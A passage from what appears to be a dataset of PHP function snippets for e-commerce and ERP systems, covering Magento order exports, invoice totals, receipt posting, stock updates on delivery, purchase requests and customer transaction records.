Mage::getResourceSingleton('catalog/product_type_configurable')->getParentIdsByChild($product_id);\n\t\t\t\tif (isset($parentIds[0])) {\n\t\t\t\t $product = Mage::getModel('catalog/product')->load($parentIds[0]);\n\t\t\t\t $specialprice+=$product->getData('special_price');\n\t\t\t\t /* if($product->getData('product_type')=='simple'){\n\n\t\t\t\t $originalprice=$product->getData();\n\t\t\t\t }*/\n\n\t\t\t\t}\n\t\t\t\telseif($item->getData('product_type')=='simple'){\n\t\t\t\t\t\t$sku=$item->getData('sku');\n\t\t\t\t\t\t$qty_ordered=$item->getData('qty_ordered');\n\t\t\t\t\t\t$itemsArray[$skucounter]=$sku;\n\t\t\t\t\t\t$qty_orderedArray[$skucounter]=$qty_ordered;\n\t\t\t\t\t\t$skucounter++;\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\t/*$qty_orderedArray[]=$qty_ordered;*/\n\t\t\t//\t$qty_orderedArray[]=array_unique($qty_orderedArray);\n\t\t\t// etc.\n\t\t\t}\n\t\t\t/*print_r($specialprice);*/\n\t\t\n\t\t\n\t\t/*exit;*/\n\t//\t$itemsArray=array_merge((array)$itemsArray,(array)$qty_orderedArray);\n\n\t\t$indexcounter=0;\n\t\tforeach(array_unique($itemsArray) as $productid){\n\n\t\t $_Pdetails = Mage::getModel('catalog/product')->loadByAttribute('sku',$productid);\n\t\t\n\t\t// $_Pdetails->getPrice();\n\t\t $productprice = $_Pdetails->getData('price');\n\t\t// print_r($_Pdetails->getData());\n\t\t $totalprice=($productprice*($qty_orderedArray[$indexcounter]));\n\t\t//echo '<pre>';\n\t\t//echo $totalprice;\n\t\t//exit;\n\t\t $originalprice+=$totalprice;\n\t\t $indexcounter++;\n\n\t\t}\n\n\t// \t/*echo $totalpricenew;\n\t// \techo \"<pre>\";print_r($itemsArray);\n\t// \t\texit;*/\n\t// \t$itemtitleArray[] = $itemtitle;\n\t// \t$itemqtyArray[] = $itemqty;\n\t// /*\techo '<pre>';\n\t// \tprint_r($originalprice);*/\n\t// \t//print_r($shippedqtynew);\n\t// \t$itemweightArray[] = $itemweight.\"grms\";\n\t// \t$categorytitleArray[] = $categorytitle;\n\t// \t$brands[] = 'FCUK';\n\t// \t$stocknoArray[] = $stockno;\n\t// \t$createdDateArray[] = $createdDate;\n\t// \t$specialpriceArray[]=$specialprice;\n\t// \t$mrpArry[] = $mrp; //kishan\n\t// \t$taxPercentage=(($order->getData('base_subtotal_incl_tax')-$discount)/$tax);\n\n\t// \tif($taxPercentage==''){\n\t// \t\t\t$taxPer='0 %';\n\t// \t}\n\t// \telse\n\t// \t{\n\n\t// \t\t\t$taxPer=$taxPercentage.' %';\n\t// \t}\n\n\t// \tif($originalprice==$mrp){\n\t// \t\t$discountArray[] = $discount;\n\t// \t}else{\n\t// \t\t$discountArray[] = ($originalprice-$mrp)+$discount;\n\t// \t}\n\t// \t//$discountArray[] = $discount; //kishan\n\t// \t$bspArry[] = $mrp-$discount;\n\t// \t$originalPriceArray[] =$originalprice;\n\n\t// \t// $basicsale[]= $order->getData('price_inc_tax');\t\t\n\t// \t$basicsale[]= $mrp;\t\t\n\t// \t$coupon_codeArray[]=$order->getData('coupon_code');\n\t// \t$coupon_amtArray[]=$order->getData('base_discount_amount');\n\t// \t$formulaArray[] = $order->getData('coupon_rule_name');\n\t// \t$assign_dateArray[] = '';\n\t// \t$w_hArray[]='Bhivandi';\n\t// \t$taxarray[]=$tax;\n\t// \t$taxperarray[]=$taxPer;\n\t// \t$state = strtolower($common[6]);\n\t// \t//$tax_type[0] = 'CST';\n\t// \t//echo $state.''.$tax_type[0];\n\t// \t//exit;\n\t// \tif(strtolower($state) == 'maharashtra') {$tax_type[0] = 'VAT';}\n\t// \telse{$tax_type[0] = 'CST';}\n\n\t// \t/*----kishan---*/\n\t// \t$shipCount = count($shipmentArray)-1;\n\t// \tif($shipCount == 3)\n\t// \t{\n\t// \t\tarray_pop($shipmentArray);\n\t// \t}\n\t// //\texit;\n\t// \tif(count($invoiceArray)==2)\n\t// \t{array_pop($invoiceArray);}\n\n\t//exit;\n\t\t//$record = array_merge($common,$categorytitleArray,$brands,$stocknoArray,$mrpArry,$itemtitleArray ,$itemweightArray ,$itemqtyArray ,$bspArry,$invoiceArray,$paymentmethod,$discountArray,$coupon_codeArray,$formulaArray,$assign_dateArray,$w_hArray,$shipmentArray,$airwaybillnoArray,$tax_type,$taxarray);\n\t\t$record = array_merge($common,$categorytitleArray,$brands,$stocknoArray,$itemtitleArray,$itemweightArray,$itemqtyArray,$shippedqtynew,$invoiceArray,$createdDateArray,$originalPriceArray,$mrpArry,$discountArray,$basicsale,$totaltaxnew,$bspArry,$coupon_codeArray,$coupon_amtArray,$formulaArray,$taxperarray,$tax_type,$shipmentArray,$airwaybillnoArray);\n /* print_r($record);\n exit;*/\n fputcsv($fp, $record, self::DELIMITER, self::ENCLOSURE);\n\t\t\n\t\t\n\t\t\n\t \n }", "public function check_product_items(){\n\t\t$arr = $this->arr_product_items;\n\t\t//taxper\n\t\tif(isset($arr['taxper']))\n\t\t\t$this->arr_product_items['taxper'] = (float)$arr['taxper'];\n\t\telse\n\t\t\t$this->arr_product_items['taxper'] = 0;\n\t\t//sizew_unit\n\t\tif(!isset($arr['sizew_unit']) || $arr['sizew_unit']=='')\n\t\t\t$this->arr_product_items['sizew_unit'] = 'in';\n\t\t//sizeh_unit\n\t\tif(!isset($arr['sizeh_unit']) || $arr['sizeh_unit']=='')\n\t\t\t$this->arr_product_items['sizeh_unit'] = 'in';\n\t\t//sizew\n\t\tif(isset($arr['sizew']))\n\t\t\t$this->arr_product_items['sizew'] = (float)$arr['sizew'];\n\t\telse\n\t\t\t$this->arr_product_items['sizew'] = 0;\n\t\t//sizeh\n\t\tif(isset($arr['sizeh']))\n\t\t\t$this->arr_product_items['sizeh'] = (float)$arr['sizeh'];\n\t\telse\n\t\t\t$this->arr_product_items['sizeh'] = 0;\n\t\t//quantity\n\t\tif(isset($arr['quantity']))\n\t\t\t$this->arr_product_items['quantity'] = (float)$arr['quantity'];\n\t\telse\n\t\t\t$this->arr_product_items['quantity'] = 0;\n\n\t\t//adj_qty\n\t\t$this->arr_product_items['adj_qty'] = 0;\n\n\t\t//oum\n\t\tif(!isset($arr['oum']))\n\t\t\t$this->arr_product_items['oum'] = 'unit';\n\n\t\t//oum_depend\n\t\tif(!isset($arr['oum_depend']))\n\t\t\t$this->arr_product_items['oum_depend'] = 'unit';\n\t\tif(isset($arr['oum_depend']) && $arr['oum_depend']=='Sq. ft.')\n\t\t\t$this->arr_product_items['oum_depend'] = 'Sq.ft.';\n\n\t\t//sell_price\n\t\tif(isset($arr['sell_price']))\n\t\t\t$this->arr_product_items['sell_price'] = (float)$arr['sell_price'];\n\t\telse\n\t\t\t$this->arr_product_items['sell_price'] = 0;\n\n\t\t//plus_sell_price\n\t\tif(isset($arr['plus_sell_price']))\n\t\t\t$this->arr_product_items['plus_sell_price'] = (float)$arr['plus_sell_price'];\n\t\telse\n\t\t\t$this->arr_product_items['plus_sell_price'] = 0;\n\n\t\t//plus_price\n\t\tif(isset($arr['plus_unit_price']))\n\t\t\t$this->arr_product_items['plus_unit_price'] = (float)$arr['plus_unit_price'];\n\t\telse\n\t\t\t$this->arr_product_items['plus_unit_price'] = 0;\n\n\t\t//reset unit_price\n\t\t\t$this->arr_product_items['unit_price'] = 0;\n\t\t//reset sub_total\n\t\t\t$this->arr_product_items['sub_total'] = 0;\n\t\t//reset tax\n\t\t\t$this->arr_product_items['tax'] = 0;\n\t\t//reset amount\n\t\t\t$this->arr_product_items['amount'] = 0;\n\n\t}", "function acf_upgrade_500_fields($ofg, $nfg)\n{\n}", "function UPDCAR()\n{\n $aropen_rows = db::fetchRows($sql, 'DTSDATA.AROPEN'); /* #539 */\n if ($aropen\n ) {\n if ($billpay->BPOIN_ < 0\n ) {\n $aropen->AROPPD += $billpay->BPPAY_; /* #544 */\n $aropen->ARONPD += $billpay->BPPAY_; /* #545 */\n $aropen->AROPDT = $billpay->BPPDAT; /* #546 */\n $aropen->update(); /* #547 update record */\n $receipts->CRCID = $aropen->AROCID; /* #549 */\n $receipts->CRPER = $PERIOD; /* #550 */\n $receipts->CRCUST = $aropen->AROCUS; /* #551 */\n $receipts->CRSLMN = $aropen->AROSLM; /* #552 */\n $receipts->CRDTPD = $billpay->BPPDAT; /* #553 */\n $receipts->CRDTIN = $aropen->AROIDT; /* #554 */\n $receipts->CRINV_ = $aropen->AROINV; /* #555 */\n $receipts->CRTYPE = '1'; /* #556 */\n $receipts->CRCHCK = $billpay->BPCONF; /* #557 */\n $receipts->CRGLDP = ''; /* #558 */\n $receipts->CRGLAC = ''; /* #559 */\n $receipts->CRDESC = ''; /* #560 */\n $receipts->CRPPD = $billpay->BPPAY_; /* #561 */\n $receipts->CRDUS = 0; /* #562 */\n $receipts->CRSTCM = ''; /* #563 */\n $receipts->CRSTGL = ''; /* #564 */\n $receipts->CRSTS = ''; /* #565 */\n $receipts->CRDST = ''; /* #566 */\n $receipts->insert(); /* #567 insert record */\n } /* #568 end if */\n if ($billpay->BPOIN_ === 0\n && $billpay->BPPAY_ < 0\n && $billpay->BPPRV_ > 0\n ) {\n $billpay->BPPAY_ *= -1; /* #573 */\n $aropen->AROAMT += $billpay->BPPAY_; /* #574 */\n $aropen->ARONAM += $billpay->BPPAY_; /* #575 */\n $aropen->AROPDT = $billpay->BPPDAT; /* #576 */\n $aropen->update(); /* #577 update record */\n $billpay->BPPAY_ *= -1; /* #579 */\n $receipts->CRCID = $aropen->AROCID; /* #580 */\n $receipts->CRPER = $PERIOD; /* #581 */\n $receipts->CRCUST = $aropen->AROCUS; /* #582 */\n $receipts->CRSLMN = $aropen->AROSLM; /* #583 */\n $receipts->CRDTPD = $billpay->BPPDAT; /* #584 */\n $receipts->CRDTIN = $aropen->AROIDT; /* #585 */\n $receipts->CRINV_ = $aropen->AROINV; /* #586 */\n $receipts->CRTYPE = '1'; /* #587 */\n $receipts->CRCHCK = $billpay->BPCONF; /* #588 */\n $receipts->CRGLDP = ''; /* #589 */\n $receipts->CRGLAC = ''; /* #590 */\n $receipts->CRDESC = ''; /* #591 */\n $receipts->CRPPD = $billpay->BPPAY_; /* #592 */\n $receipts->CRDUS = 0; /* #593 */\n $receipts->CRSTCM = ''; /* #594 */\n $receipts->CRSTGL = ''; /* #595 */\n $receipts->CRSTS = ''; /* #596 */\n $receipts->CRDST = ''; /* #597 */\n $receipts->insert(); /* #598 insert record */\n } /* #599 end if */\n if ($billpay->BPOIN_ === 0\n && $billpay->BPPAY_ > 0\n && $billpay->BPPRV_ < 0\n ) {\n $billpay->BPPAY_ *= -1; /* #604 */\n $aropen->AROAMT += $billpay->BPPAY_; /* #605 */\n $aropen->ARONAM += $billpay->BPPAY_; /* #606 */\n $aropen->AROPDT = $billpay->BPPDAT; /* #607 */\n $aropen->update(); /* #608 update record */\n $billpay->BPPAY_ *= -1; /* #610 */\n $receipts->CRCID = $aropen->AROCID; /* #611 */\n $receipts->CRPER = $PERIOD; /* #612 */\n $receipts->CRCUST = $aropen->AROCUS; /* #613 */\n $receipts->CRSLMN = $aropen->AROSLM; /* #614 */\n $receipts->CRDTPD = $billpay->BPPDAT; /* #615 */\n $receipts->CRDTIN = $aropen->AROIDT; /* #616 */\n $receipts->CRINV_ = $aropen->AROINV; /* #617 */\n $receipts->CRTYPE = '1'; /* #618 */\n $receipts->CRCHCK = $billpay->BPCONF; /* #619 */\n $receipts->CRGLDP = ''; /* #620 */\n $receipts->CRGLAC = ''; /* #621 */\n $receipts->CRDESC = ''; /* #622 */\n $receipts->CRPPD = $billpay->BPPAY_; /* #623 */\n $receipts->CRDUS = 0; /* #624 */\n $receipts->CRSTCM = ''; /* #625 */\n $receipts->CRSTGL = ''; /* #626 */\n $receipts->CRSTS = ''; /* #627 */\n $receipts->CRDST = ''; /* #628 */\n $receipts->insert(); /* #629 insert record */\n } /* #630 end if */\n if ($billpay->BPOIN_ > 0\n ) {\n $aropen->AROPPD += $billpay->BPPAY_; /* #633 */\n $aropen->ARONPD += $billpay->BPPAY_; /* #634 */\n $aropen->AROPDT = $billpay->BPPDAT; /* #635 */\n $aropen->update(); /* #636 update record */\n $receipts->CRCID = $aropen->AROCID; /* #638 */\n $receipts->CRPER = $PERIOD; /* #639 */\n $receipts->CRCUST = $aropen->AROCUS; /* #640 */\n $receipts->CRSLMN = $aropen->AROSLM; /* #641 */\n $receipts->CRDTPD = $billpay->BPPDAT; /* #642 */\n $receipts->CRDTIN = $aropen->AROIDT; /* #643 */\n $receipts->CRINV_ = $aropen->AROINV; /* #644 */\n $receipts->CRTYPE = '1'; /* #645 */\n $receipts->CRCHCK = $billpay->BPCONF; /* #646 */\n $receipts->CRGLDP = ''; /* #647 */\n $receipts->CRGLAC = ''; /* #648 */\n $receipts->CRDESC = ''; /* #649 */\n $receipts->CRPPD = $billpay->BPPAY_; /* #650 */\n $receipts->CRDUS = 0; /* #651 */\n $receipts->CRSTCM = ''; /* #652 */\n $receipts->CRSTGL = ''; /* #653 */\n $receipts->CRSTS = ''; /* #654 */\n $receipts->CRDST = ''; /* #655 */\n $receipts->insert(); /* #656 insert record */\n } /* #657 end if */\n } /* #659 end if */\n}", "private function update_type($new_type) { \n\n\t\tif ($this->_update_item('type',$new_type,'50')) { \n\t\t\t$this->type = $new_type;\n\t\t}\n\n\t}", "public function updateItems()\n {\n if (count($this->items)) {\n foreach ($this->items as $item) {\n $item->setInvoice($this);\n }\n }\n }", "public function collect(\\Magento\\Sales\\Model\\Order\\Invoice $invoice)\n {\n $order = $invoice->getOrder();\n\n /**\n * Wrapping for items\n */\n $invoiced = 0;\n $baseInvoiced = 0;\n foreach ($invoice->getAllItems() as $invoiceItem) {\n if (!$invoiceItem->getQty() || $invoiceItem->getQty() == 0) {\n continue;\n }\n $orderItem = $invoiceItem->getOrderItem();\n if ($orderItem->getGwId() &&\n $orderItem->getGwBasePrice() &&\n $orderItem->getGwBasePrice() != $orderItem->getGwBasePriceInvoiced()\n ) {\n $orderItem->setGwBasePriceInvoiced($orderItem->getGwBasePrice());\n $orderItem->setGwPriceInvoiced($orderItem->getGwPrice());\n $baseInvoiced += $orderItem->getGwBasePrice() * $invoiceItem->getQty();\n $invoiced += $orderItem->getGwPrice() * $invoiceItem->getQty();\n }\n }\n if ($invoiced > 0 || $baseInvoiced > 0) {\n $order->setGwItemsBasePriceInvoiced($order->getGwItemsBasePriceInvoiced() + $baseInvoiced);\n $order->setGwItemsPriceInvoiced($order->getGwItemsPriceInvoiced() + $invoiced);\n $invoice->setGwItemsBasePrice($baseInvoiced);\n $invoice->setGwItemsPrice($invoiced);\n }\n\n /**\n * Wrapping for order\n */\n if ($order->getGwId() &&\n $order->getGwBasePrice() &&\n $order->getGwBasePrice() != $order->getGwBasePriceInvoiced()\n ) {\n $order->setGwBasePriceInvoiced($order->getGwBasePrice());\n $order->setGwPriceInvoiced($order->getGwPrice());\n $invoice->setGwBasePrice($order->getGwBasePrice());\n $invoice->setGwPrice($order->getGwPrice());\n }\n\n /**\n * Printed card\n */\n if ($order->getGwAddCard() &&\n $order->getGwCardBasePrice() &&\n $order->getGwCardBasePrice() != $order->getGwCardBasePriceInvoiced()\n ) {\n $order->setGwCardBasePriceInvoiced($order->getGwCardBasePrice());\n $order->setGwCardPriceInvoiced($order->getGwCardPrice());\n $invoice->setGwCardBasePrice($order->getGwCardBasePrice());\n $invoice->setGwCardPrice($order->getGwCardPrice());\n }\n\n $invoice->setBaseGrandTotal(\n $invoice->getBaseGrandTotal() +\n $invoice->getGwItemsBasePrice() +\n $invoice->getGwBasePrice() +\n $invoice->getGwCardBasePrice()\n );\n $invoice->setGrandTotal(\n $invoice->getGrandTotal() +\n $invoice->getGwItemsPrice() +\n $invoice->getGwPrice() +\n $invoice->getGwCardPrice()\n );\n return $this;\n }", "protected function buildItemsFields(): void\n {\n $groupName = __(\"Items\");\n $isReadOnly = !Splash::isTravisMode();\n\n //====================================================================//\n // Order Line Description\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"name\")\n ->inList(\"items\")\n ->name(__(\"Item\"))\n ->group($groupName)\n ->microData(\"http://schema.org/partOfInvoice\", \"description\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Product Identifier\n $this->fieldsFactory()->create((string) self::objects()->encode(\"Product\", SPL_T_ID))\n ->identifier(\"product\")\n ->inList(\"items\")\n ->name(__(\"Product\"))\n ->group($groupName)\n ->microData(\"http://schema.org/Product\", \"productID\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ->isNotTested()\n ;\n //====================================================================//\n // Order Line Product SKU\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"sku\")\n ->inList(\"items\")\n ->name(__(\"SKU\"))\n ->microData(\"http://schema.org/Product\", \"sku\")\n ->group($groupName)\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Quantity\n $this->fieldsFactory()->create(SPL_T_INT)\n ->identifier(\"quantity\")\n ->inList(\"items\")\n ->name(__(\"Quantity\"))\n ->group($groupName)\n ->microData(\"http://schema.org/QuantitativeValue\", \"value\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Discount\n $this->fieldsFactory()->create(SPL_T_DOUBLE)\n ->identifier(\"discount\")\n ->inList(\"items\")\n ->name(__(\"Percentage discount\"))\n ->group($groupName)\n ->microData(\"http://schema.org/Order\", \"discount\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Unit Price\n $this->fieldsFactory()->create(SPL_T_PRICE)\n ->identifier(\"subtotal\")\n ->inList(\"items\")\n ->name(__(\"Price\"))\n ->group($groupName)\n ->microData(\"http://schema.org/PriceSpecification\", \"price\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Tax Name\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"tax_name\")\n ->inList(\"items\")\n ->name(__(\"Tax name\"))\n ->microData(\"http://schema.org/PriceSpecification\", \"valueAddedTaxName\")\n ->group($groupName)\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly()\n ;\n }", "function changeBasketItem(&$row, $fetchMode, $funcTablename, &$item) {\n\t\t$this->dbgstart();\n\t\t//Preis herausfinden\n\t\t$ms3Oid = $this->calc->getMs3OidForTTUid($row['uid']);\n\t\tif ($ms3Oid) {\n\t\t\t// get variant\n\t\t\tif ($fetchMode == 'useExt') {\n\t\t\t\t$varLine = current($row['ext']['tt_products']);\n\t\t\t\t$var = $varLine['vars'];\n\t\t\t} else {\n\t\t\t\t// What to do?\n\t\t\t\t// Comes only in tt_products LIST and SINGLE view. Not used with mS3 Commerce\n\t\t\t\t$var = null;\n\t\t\t}\n\t\t\t$price = $this->calc->getPrice($ms3Oid, $item['count'], 1, $var);\n\n\t\t\t//Preisaddition\n\t\t\t$row['tax'] = $this->ttconf['TAXpercentage'];\n\t\t\t$price_brutto = $price * ($row['tax'] / 100 + 1);\n\t\t\t$item['price0Tax'] = $item['priceTax'] = $price_brutto;\n\t\t\t$item['price0NoTax'] = $item['priceNoTax'] = $price;\n\t\t\t$row['price'] = $price_brutto;\n\t\t\t$item['rec'] = $row;\n\t\t}\n\n\t\t$this->calc->custom->adjustBasketItem($item);\n\t\t$this->dbgend();\n\t}", "public function updateAfterInsertDeliveryItem($sale_type, $status, $sale_item, $sent_quantity)\n {\n if ($sale_type == 'booking') {\n if ($status != 'packing') {\n $get_item = $this->getSaleBookingItem($sale_item->product_id, $sale_item->sale_id);\n if (!$get_item) {\n throw new \\Exception(lang(\"not_get_data\"));\n }\n // $get_item = $this->db->get_where('sale_booking_items', ['product_id' => $sale_item->product_id, 'sale_id' => $sale_item->sale_id])->row();\n $qty_deliver = $get_item->quantity_delivering + $sent_quantity;\n $qty_booking = $get_item->quantity_booking - $sent_quantity;\n $qty_delivered = $get_item->quantity_delivered + $sent_quantity;\n\n $get_wh = $this->getWarehouseProductCompany($get_item->warehouse_id, $sale_item->product_id);\n $get_prod = $this->site->getProductByID($sale_item->product_id);\n\n $wh_book = (int) $get_wh->quantity_booking - (int) $sent_quantity;\n $prod_book = (int) $get_prod->quantity_booking - (int) $sent_quantity;\n\n if ($wh_book < 0 || $prod_book < 0) {\n throw new \\Exception(lang(\"error_insert_delivery_item\"));\n }\n\n if ($status == 'delivered') {\n $update_booking = [\n \"quantity_booking\" => $qty_booking,\n \"quantity_delivering\" => $qty_deliver,\n \"quantity_delivered\" => $qty_delivered\n ];\n } else {\n $update_booking = [\n \"quantity_booking\" => $qty_booking,\n \"quantity_delivering\" => $qty_deliver\n ];\n }\n if (!$this->db->update('sale_booking_items', $update_booking, ['product_id' => $sale_item->product_id, 'sale_id' => $sale_item->sale_id])) {\n throw new \\Exception(lang(\"failed_update_sale_booking_item\"));\n } else {\n if (!$this->db->update('warehouses_products', ['quantity_booking' => $wh_book], ['warehouse_id' => $get_item->warehouse_id, 'product_id' => $sale_item->product_id, 'company_id' => $this->session->userdata('company_id')])) {\n throw new \\Exception(lang(\"failed_update_stock\"));\n } else {\n if (!$this->db->update('products', ['quantity_booking' => $prod_book], ['id' => $sale_item->product_id])) {\n throw new \\Exception(lang(\"failed_update_stock_prod\"));\n }\n }\n }\n }\n if ($this->db->update('sale_items', [\"sent_quantity\" => $sale_item->sent_quantity + $sent_quantity], ['id' => $sale_item->id])) {\n return true;\n }\n } elseif ($sale_type == NULL) {\n if ($this->db->update('sale_items', [\"sent_quantity\" => $sale_item->sent_quantity + $sent_quantity], ['id' => $sale_item->id])) {\n return true;\n }\n }\n return false;\n }", "function fill_in_additional_list_fields()\r\n\t{\r\n\t}", "public function store(Request $request, Purchaserequest $purchaserequest, Purchaserequestitem $purchaserequestitem)\n {\n\n $id = Purchaserequest::where('pr_req_comp_code', auth()->user()->company)\n ->first()->pr_req_no ?? date('Y') . 00000;\n $year = date('Y');\n $id_year = substr($id, 0, 4);\n $seq = $year <> $id_year ? 0 : +substr($id, -5);\n $new_id = sprintf(\"%0+4u%0+6u\", $year, $seq + 1);\n // $purchaserequest->pr_req_no = $new_id;\n\n\n $lastAccountForCurrentYear = Purchaserequest::where('pr_req_comp_code', auth()->user()->company)\n ->where('pr_req_no', 'like', date('Y') . '%') // filter for current year numbers\n ->orderByDesc('pr_req_no', 'desc') // the biggist one first\n ->first();\n\n $purchaserequest->pr_req_no = $lastAccountForCurrentYear\n ? ($lastAccountForCurrentYear->pr_req_no + 1) // just increase value to 1\n : (date('Y') . $digitRepresentingASerie . '00001');\n\n $new_id = $purchaserequest->pr_req_no;\n $purchaserequest->pr_req_no = $new_id;\n\n\n $purchaserequest->pr_req_uid = Auth::user()->id;\n $purchaserequest->pr_req_name = Auth::user()->name;\n $purchaserequest->pr_req_desi = Auth::user()->dept;\n $purchaserequest->pr_req_dept = Auth::user()->flex2;\n $purchaserequest->pr_req_mobile = Auth::user()->mobile;\n $purchaserequest->pr_req_email = Auth::user()->email;\n $purchaserequest->pr_req_brand_name = Auth::user()->brand_name;\n\n $date = Carbon::createFromFormat('d-m-Y', $request->pr_req_del_date);\n $purchaserequest->pr_req_del_date = $date;\n\n $purchaserequest->pr_req_status = 1;\n $purchaserequest->pr_req_remarks = $request->pr_req_remarks;\n\n\n\n $purchaserequest->pr_req_comp_code = Auth::user()->company;\n\n if ((Auth::user()->company) == 92) {\n\n $purchaserequest->pr_req_comp_name = 'TAMANI GLOBAL DEVELOPMENT & INVESTMENT L.L.C';\n } else if ((Auth::user()->company) == 34) {\n\n $purchaserequest->pr_req_comp_name = 'TAMANI TRADING AND ENTERTAINMENT L.L.C';\n } else {\n\n $purchaserequest->pr_req_comp_name = 'Al Jarwani';\n }\n\n\n\n\n\n foreach ($request->pri_qty as $key => $value) {\n\n if ($request->pri_qty[$key]) {\n $item = resolve(Purchaserequestitem::class);\n $purchaserequestitem->pri_item = $value['pri_item'];\n $purchaserequestitem->pri_qty = $value['pri_qty'];\n $purchaserequestitem->pri_price = $value['pri_price'];\n $purchaserequestitem->pri_amount = $value['pri_qty'] * $value['pri_price'];\n $purchaserequestitem->pri_flex1 = $new_id;\n $purchaserequestitem->save();\n // $account->item()->save($item);\n }\n }\n\n\n\n\n\n $purchaserequest->save();\n\n\n\n return redirect('purchase/purchaserequest')->with('success', 'Record Created Successfully.');\n }", "function write_customer_trans($trans_type, $trans_no, $debtor_no, $BranchNo,\n $date_, $reference, $Total, $discount = 0, $Tax = 0, $Freight = 0, $FreightTax = 0,\n $sales_type = 0, $order_no = 0, $ship_via = 0, $due_date = \"\",\n $AllocAmt = 0, $rate = 0, $dimension_id = 0, $dimension2_id = 0,\n $payment_terms = null, $tax_included = 0, $prep_amount = 0,$inv_trans_total=0,$is_paper_edit=false)\n{\n\n $display_customer = $_SESSION['Items']->display_customer;\n $customer_trn = $_SESSION['Items']->customer_trn;\n $customer_mobile = $_SESSION['Items']->customer_mobile;\n $customer_email = $_SESSION['Items']->customer_email;\n $customer_ref = $_SESSION['Items']->customer_ref;\n $barcode = $_SESSION['Items']->barcode;\n\n $credit_card_charge = $_SESSION['credit_card_charge'];\n $payment_method = $_SESSION['payment_method'];\n unset($_SESSION['credit_card_charge']);\n unset($_SESSION['payment_method']);\n\n $created_by = $_SESSION['wa_current_user']->user;\n\n $new = $trans_no == 0;\n $curr = get_customer_currency($debtor_no);\n if ($rate == 0)\n $rate = get_exchange_rate_from_home_currency($curr, $date_);\n\n $SQLDate = date2sql($date_);\n if ($due_date == \"\")\n $SQLDueDate = \"0000-00-00\";\n else\n $SQLDueDate = date2sql($due_date);\n\n if ($trans_type == ST_BANKPAYMENT)\n $Total = -$Total;\n\n if ($new || !exists_customer_trans($trans_type, $trans_no)) {\n if ($new) {\n $trans_no = get_next_trans_no($trans_type);\n\n if($trans_type == 10 && !$is_paper_edit) {\n $reference = get_next_invoice_ref($dimension_id);\n $_SESSION['Items']->reference = $reference;\n }\n\n }\n\n $sql = \"INSERT INTO \" . TB_PREF . \"debtor_trans (\n\t\ttrans_no, type,\n\t\tdebtor_no, branch_code,\n\t\ttran_date, due_date,\n\t\treference, tpe,\n\t\torder_, ov_amount, ov_discount,\n\t\tov_gst, ov_freight, ov_freight_tax,\n\t\trate, ship_via, alloc,\n\t\tdimension_id, dimension2_id, payment_terms, tax_included, prep_amount,\n\t\tdisplay_customer,customer_trn,customer_mobile,customer_email,customer_ref,barcode,\n\t\tcredit_card_charge,payment_method,inv_total,created_by \n\t\t) VALUES (\" . db_escape($trans_no) . \", \" . db_escape($trans_type) . \",\n\t\t\" . db_escape($debtor_no) . \", \" . db_escape($BranchNo) . \",\n\t\t'$SQLDate', '$SQLDueDate', \" . db_escape($reference) . \",\n\t\t\" . db_escape($sales_type) . \", \" . db_escape($order_no) . \", $Total, \" . db_escape($discount) . \", $Tax,\n\t\t\" . db_escape($Freight) . \",\n\t\t$FreightTax, $rate, \" . db_escape($ship_via) . \", $AllocAmt,\n\t\t\" . db_escape($dimension_id) . \", \" . db_escape($dimension2_id) . \", \n\t\t\" . db_escape($payment_terms, true) . \", \n\t\t\" . db_escape($tax_included) . \", \n\t\t\" . db_escape($prep_amount) . \",\n\t\t\" . db_escape($display_customer) . \",\n\t\t\" . db_escape($customer_trn) . \",\n\t\t\" . db_escape($customer_mobile) . \",\n\t\t\" . db_escape($customer_email) . \",\n\t\t\" . db_escape($customer_ref) . \",\n\t\t\" . db_escape($barcode) . \",\n\t\t\" . db_escape($credit_card_charge) . \",\n\t\t\" . db_escape($payment_method) . \",\n\t\t$inv_trans_total,$created_by)\";\n } else { // may be optional argument should stay unchanged ?\n $sql = \"UPDATE \" . TB_PREF . \"debtor_trans SET\n\t\tdebtor_no=\" . db_escape($debtor_no) . \" , branch_code=\" . db_escape($BranchNo) . \",\n\t\ttran_date='$SQLDate', due_date='$SQLDueDate',\n\t\treference=\" . db_escape($reference) . \", tpe=\" . db_escape($sales_type) . \", order_=\" . db_escape($order_no) . \",\n\t\tov_amount=$Total, \n\t\tinv_total=$inv_trans_total, \n\t\tov_discount=\" . db_escape($discount) . \", ov_gst=$Tax,\n\t\tov_freight=\" . db_escape($Freight) . \", ov_freight_tax=$FreightTax, rate=$rate,\n\t\tship_via=\" . db_escape($ship_via) . \", alloc=$AllocAmt,\n\t\t\n\t\tdimension2_id=\" . db_escape($dimension2_id) . \",\n\t\tpayment_terms=\" . db_escape($payment_terms, true) . \",\n\t\ttax_included=\" . db_escape($tax_included) . \",\n\t\tprep_amount =\" . db_escape($prep_amount) . \",\n\t\tdisplay_customer =\" . db_escape($display_customer) . \",\n\t\tcustomer_trn =\" . db_escape($customer_trn) . \",\n\t\tcustomer_mobile =\" . db_escape($customer_mobile) . \",\n\t\tcustomer_email =\" . db_escape($customer_email) . \",\n\t\tcustomer_ref =\" . db_escape($customer_ref) . \" \n\t\tWHERE trans_no=\" . db_escape($trans_no) . \" AND type=\" . db_escape($trans_type);\n }\n db_query($sql, \"The debtor transaction record could not be inserted\");\n\n\n// display_error(print_r($display_customer ,true));\n\n\n if ($trans_type != ST_JOURNAL) // skip for journal entries\n add_audit_trail($trans_type, $trans_no, $date_, $new ? '' : trans(\"Updated.\"));\n\n return $trans_no;\n}", "function add_extra_person($billing_person,$data,$product_id,$action_set_id = 0)\n {\n $data['Address2Street1'] = $data['StreetAddress1'];\n $data['Address2Street2'] = 